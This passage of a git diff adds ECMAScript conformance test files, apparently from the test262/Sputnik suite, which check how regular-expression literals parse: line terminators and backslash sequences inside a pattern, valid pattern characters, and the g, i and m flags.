diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T4.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T4.js
new file mode 100644
index 000000000..e5b89920a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T4.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.5_T4.js
+ * @description Carriage Return, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/\\\u000D/").source;
+ $ERROR('#1.1: RegularExpressionFirstChar :: BackslashSequence :: \\Carriage Return is incorrect. Actual: ' + (eval("/\\\u000D/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionFirstChar :: BackslashSequence :: \\Carriage Return is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T5.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T5.js
new file mode 100644
index 000000000..a9b6d9696
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T5.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.5_T5.js
+ * @description Line separator, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/\\\u2028/").source;
+ $ERROR('#1.1: RegularExpressionFirstChar :: BackslashSequence :: \\Line separator is incorrect. Actual: ' + (eval("/\\\u2028/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionFirstChar :: BackslashSequence :: \\Line separator is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T6.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T6.js
new file mode 100644
index 000000000..73345ed41
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T6.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.5_T6.js
+ * @description Paragraph separator, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/\\\u2029/").source;
+ $ERROR('#1.1: RegularExpressionFirstChar :: BackslashSequence :: \\Paragraph separator is incorrect. Actual: ' + (eval("/\\\u2029/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionFirstChar :: BackslashSequence :: \\Paragraph separator is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.1_T1.js
new file mode 100644
index 000000000..5b69da20d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.1_T1.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: NonTerminator but not \ or /,
+ * RegularExpressionFlags :: [empty]
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.1_T1.js
+ * @description Without eval
+ */
+
+//CHECK#1
+if (/1a/.source !== "1a") {
+ $ERROR('#1: /1a/');
+}
+
+//CHECK#2
+if (/aa/.source !== "aa") {
+ $ERROR('#2: /aa/');
+}
+
+//CHECK#3
+if (/,;/.source !== ",;") {
+ $ERROR('#3: /,;/');
+}
+
+//CHECK#4
+if (/ /.source !== " ") {
+ $ERROR('#4: / /');
+}
+
+//CHECK#5
+if (/a\u0041/.source !== "a\\u0041") {
+ $ERROR('#5: /a\\u0041/');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.1_T2.js
new file mode 100644
index 000000000..b8e66b23e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.1_T2.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: NonTerminator but not \ or /,
+ * RegularExpressionFlags :: [empty]
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.1_T2.js
+ * @description Complex test with eval, using syntax pattern
+ */
+
+//CHECK
+var errorCount = 0;
+var count = 0;
+var hex = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"];
+for (var i1 = 0; i1 < 16; i1++) {
+ for (var i2 = 0; i2 < 16; i2++) {
+ for (var i3 = 0; i3 < 16; i3++) {
+ for (var i4 = 0; i4 < 16; i4++) {
+ try {
+ var uu = hex[i1] + hex[i2] + hex[i3] + hex[i4];
+ var Elimination =
+ ((uu === "002A") || (uu === "002F") || (uu === "005C") || (uu === "002B") ||
+ (uu === "003F") || (uu === "0028") || (uu === "0029") ||
+ (uu === "005B") || (uu === "005D") || (uu === "007B") || (uu === "007D"));
+ /*
+ * \u002A / \u002F \ \u005C + \u002B
+ ? \u003F ( \u0028 ) \u0029
+ [ \u005B ] \u005D { \u007B } \u007D
+ */
+ var LineTerminator = ((uu === "000A") || (uu === "000D") || (uu === "2028") || (uu === "2029"));
+ if ((Elimination || LineTerminator ) === false) {
+ var xx = "nnnn" + String.fromCharCode("0x" + uu);
+ var pattern = eval("/" + xx + "/");
+ if (pattern.source !== xx) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+
+ } else {
+ count--;
+ }
+ } catch (e) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ count++;
+ }
+ }
+ }
+}
+
+if (errorCount > 0) {
+ $ERROR('Total error: ' + errorCount + ' bad Regular Expression First Char in ' + count);
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.2_T1.js
new file mode 100644
index 000000000..8231c0407
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.2_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: \ or / is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.2_T1.js
+ * @description \
+ * @negative
+ */
+
+//CHECK#1
+/a\/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.2_T2.js
new file mode 100644
index 000000000..b80f21691
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.2_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: \ or / is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.2_T2.js
+ * @description /
+ * @negative
+ */
+
+//CHECK#1
+/a//.source;
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T1.js
new file mode 100644
index 000000000..fd42341e0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.3_T1.js
+ * @description Line Feed, without eval
+ * @negative
+ */
+
+//CHECK#1
+/a
+/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T2.js
new file mode 100644
index 000000000..8f3523088
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.3_T2.js
+ * @description Line Feed, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/a\u000A/").source;
+ $ERROR('#1.1: RegularExpressionChar :: Line Feedis incorrect. Actual: ' + (eval("/a\u000A/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionChar :: Line Feed is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T3.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T3.js
new file mode 100644
index 000000000..c9debb5c5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.3_T3.js
+ * @description Carriage Return, without eval
+ * @negative
+ */
+
+//CHECK#1
+/a
+/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T4.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T4.js
new file mode 100644
index 000000000..4c2dda384
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T4.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.3_T4.js
+ * @description Carriage Return, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/a\u000D/").source;
+ $ERROR('#1.1: RegularExpressionChar :: Carriage Retur is incorrect. Actual: ' + (eval("/a\u000D/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionChar :: Carriage Retur is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T5.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T5.js
new file mode 100644
index 000000000..85d43801f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T5.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.3_T5.js
+ * @description Line separator, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/a\u2028/").source;
+ $ERROR('#1.1: RegularExpressionChar :: Line separator is incorrect. Actual: ' + (eval("/a\u2028/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionChar :: Line separator is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T6.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T6.js
new file mode 100644
index 000000000..abf9833c5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.3_T6.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.3_T6.js
+ * @description Paragraph separator, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/s\u2029/").source;
+ $ERROR('#1.1: RegularExpressionChar :: Paragraph separator is incorrect. Actual: ' + (eval("/s\u2029/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionChar :: Paragraph separator is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.4_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.4_T1.js
new file mode 100644
index 000000000..8a67dc42a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.4_T1.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: BackslashSequence :: \NonTerminator,
+ * RegularExpressionFlags :: [empty]
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.4_T1.js
+ * @description Check similar to (/a\1/.source === "a\\1")
+ */
+
+//CHECK#1
+if (/a\1/.source !== "a\\1") {
+ $ERROR('#1: /a\\1/');
+}
+
+//CHECK#2
+if (/a\a/.source !== "a\\a") {
+ $ERROR('#2: /a\\a/');
+}
+
+//CHECK#3
+if (/,\;/.source !== ",\\;") {
+ $ERROR('#3: /,\\;/');
+}
+
+//CHECK#4
+if (/ \ /.source !== " \\ ") {
+ $ERROR('#4: / \\ /');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.4_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.4_T2.js
new file mode 100644
index 000000000..fa26a976b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.4_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: BackslashSequence :: \NonTerminator,
+ * RegularExpressionFlags :: [empty]
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.4_T2.js
+ * @description Complex test with eval, using syntax pattern
+ */
+
+//CHECK
+var errorCount = 0;
+var count = 0;
+var hex = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"];
+for (var i1 = 0; i1 < 16; i1++) {
+ for (var i2 = 0; i2 < 16; i2++) {
+ for (var i3 = 0; i3 < 16; i3++) {
+ for (var i4 = 0; i4 < 16; i4++) {
+ try {
+ var uu = hex[i1] + hex[i2] + hex[i3] + hex[i4];
+ var Elimination =
+ ((uu === "002A") || (uu === "002F") || (uu === "005C") || (uu === "002B") ||
+ (uu === "003F") || (uu === "0028") || (uu === "0029") ||
+ (uu === "005B") || (uu === "005D") || (uu === "007B") || (uu === "007D"));
+ /*
+ * \u002A / \u002F \ \u005C + \u002B
+ ? \u003F ( \u0028 ) \u0029
+ [ \u005B ] \u005D { \u007B } \u007D
+ */
+ var LineTerminator = ((uu === "000A") || (uu === "000D") || (uu === "2028") || (uu === "2029"));
+ if ((Elimination || LineTerminator ) === false) {
+ var xx = "a\\" + String.fromCharCode("0x" + uu);
+ var pattern = eval("/" + xx + "/");
+ if (pattern.source !== xx) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ } else {
+ count--;
+ }
+ } catch (e) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ count++;
+ }
+ }
+ }
+}
+
+if (errorCount > 0) {
+ $ERROR('Total error: ' + errorCount + ' bad Regular Expression First Char in ' + count);
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T1.js
new file mode 100644
index 000000000..a3d5e5b4e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.5_T1.js
+ * @description Line Feed, without eval
+ * @negative
+ */
+
+//CHECK#1
+/a\
+/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T2.js
new file mode 100644
index 000000000..685ada093
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.5_T2.js
+ * @description Line Feed, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/a\\\u000A/").source;
+ $ERROR('#1.1: RegularExpressionChar :: BackslashSequence :: \\Line Feed is incorrect. Actual: ' + (eval("/a\\\u000A/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionChar :: BackslashSequence :: \\Line Feed is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T3.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T3.js
new file mode 100644
index 000000000..e85821870
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.5_T3.js
+ * @description Carriage Return, without eval
+ * @negative
+ */
+
+//CHECK#1
+/a\
+/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T4.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T4.js
new file mode 100644
index 000000000..5cdea0817
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T4.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.5_T4.js
+ * @description Carriage Return, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/a\\\u000D/").source;
+ $ERROR('#1.1: RegularExpressionChar :: BackslashSequence :: \\Carriage Return is incorrect. Actual: ' + (eval("/a\\\u000D/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionChar :: BackslashSequence :: \\Carriage Return is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T5.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T5.js
new file mode 100644
index 000000000..acc1f3080
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T5.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.5_T5.js
+ * @description Line separator, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/a\\\u2028/").source;
+ $ERROR('#1.1: RegularExpressionChar :: BackslashSequence :: \\Line separator is incorrect. Actual: ' + (eval("/a\\\u2028/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionChar :: BackslashSequence :: \\Line separator is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T6.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T6.js
new file mode 100644
index 000000000..d33041021
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A2.5_T6.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A2.5_T6.js
+ * @description Paragraph separator, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/a\\\u2029/").source;
+ $ERROR('#1.1: RegularExpressionChar :: BackslashSequence :: \\Paragraph separator is incorrect. Actual: ' + (eval("/a\\\u2029/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionChar :: BackslashSequence :: \\Paragraph separator is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T1.js
new file mode 100644
index 000000000..14ea4d7ea
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFlags :: IdentifierPart
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A3.1_T1.js
+ * @description IdentifierPart :: g
+ */
+
+//CHECK#1
+var regexp = /(?:)/g;
+if (regexp.global !== true) {
+ $ERROR('#1: var regexp = /(?:)/g; regexp.global === true. Actual: ' + (regexp.global));
+}
+
+//CHECK#2
+if (regexp.ignoreCase !== false) {
+ $ERROR('#2: var regexp = /(?:)/g; regexp.ignoreCase === false. Actual: ' + (regexp.ignoreCase));
+}
+
+//CHECK#3
+if (regexp.multiline !== false) {
+ $ERROR('#3: var regexp = /(?:)/g; regexp.multiline === false. Actual: ' + (regexp.multiline));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T2.js
new file mode 100644
index 000000000..f247140d2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFlags :: IdentifierPart
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A3.1_T2.js
+ * @description IdentifierPart :: i
+ */
+
+//CHECK#1
+var regexp = /(?:)/i;
+if (regexp.global !== false) {
+ $ERROR('#1: var regexp = /(?:)/g; regexp.global === false. Actual: ' + (regexp.global));
+}
+
+//CHECK#2
+if (regexp.ignoreCase !== true) {
+ $ERROR('#2: var regexp = /(?:)/g; regexp.ignoreCase === true. Actual: ' + (regexp.ignoreCase));
+}
+
+//CHECK#3
+if (regexp.multiline !== false) {
+ $ERROR('#3: var regexp = /(?:)/g; regexp.multiline === false. Actual: ' + (regexp.multiline));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T3.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T3.js
new file mode 100644
index 000000000..4f0e6f14d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T3.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFlags :: IdentifierPart
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A3.1_T3.js
+ * @description IdentifierPart :: m
+ */
+
+//CHECK#1
+var regexp = /(?:)/m;
+if (regexp.global !== false) {
+ $ERROR('#1: var regexp = /(?:)/g; regexp.global === false. Actual: ' + (regexp.global));
+}
+
+//CHECK#2
+if (regexp.ignoreCase !== false) {
+ $ERROR('#2: var regexp = /(?:)/g; regexp.ignoreCase === false. Actual: ' + (regexp.ignoreCase));
+}
+
+//CHECK#3
+if (regexp.multiline !== true) {
+ $ERROR('#3: var regexp = /(?:)/g; regexp.multiline === true. Actual: ' + (regexp.multiline));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T4.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T4.js
new file mode 100644
index 000000000..fd56ca01c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T4.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFlags :: IdentifierPart
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A3.1_T4.js
+ * @description IdentifierPart :: gi
+ */
+
+//CHECK#1
+var regexp = /(?:)/gi;
+if (regexp.global !== true) {
+ $ERROR('#1: var regexp = /(?:)/g; regexp.global === true. Actual: ' + (regexp.global));
+}
+
+//CHECK#2
+if (regexp.ignoreCase !== true) {
+ $ERROR('#2: var regexp = /(?:)/g; regexp.ignoreCase === true. Actual: ' + (regexp.ignoreCase));
+}
+
+//CHECK#3
+if (regexp.multiline !== false) {
+ $ERROR('#3: var regexp = /(?:)/g; regexp.multiline === false. Actual: ' + (regexp.multiline));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T5.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T5.js
new file mode 100644
index 000000000..3b45a94ca
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T5.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFlags :: IdentifierPart
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A3.1_T5.js
+ * @description IdentifierPart :: mg
+ */
+
+//CHECK#1
+var regexp = /(?:)/mg;
+if (regexp.global !== true) {
+ $ERROR('#1: var regexp = /(?:)/g; regexp.global === true. Actual: ' + (regexp.global));
+}
+
+//CHECK#2
+if (regexp.ignoreCase !== false) {
+ $ERROR('#2: var regexp = /(?:)/g; regexp.ignoreCase === false. Actual: ' + (regexp.ignoreCase));
+}
+
+//CHECK#3
+if (regexp.multiline !== true) {
+ $ERROR('#3: var regexp = /(?:)/g; regexp.multiline === true. Actual: ' + (regexp.multiline));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T6.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T6.js
new file mode 100644
index 000000000..fb188ed6c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T6.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFlags :: IdentifierPart
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A3.1_T6.js
+ * @description IdentifierPart :: mig
+ */
+
+//CHECK#1
+var regexp = /(?:)/mig;
+if (regexp.global !== true) {
+ $ERROR('#1: var regexp = /(?:)/g; regexp.global === true. Actual: ' + (regexp.global));
+}
+
+//CHECK#2
+if (regexp.ignoreCase !== true) {
+ $ERROR('#2: var regexp = /(?:)/g; regexp.ignoreCase === true. Actual: ' + (regexp.ignoreCase));
+}
+
+//CHECK#3
+if (regexp.multiline !== true) {
+ $ERROR('#3: var regexp = /(?:)/g; regexp.multiline === true. Actual: ' + (regexp.multiline));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T7.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T7.js
new file mode 100644
index 000000000..299241d4c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T7.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFlags :: IdentifierPart
+ *
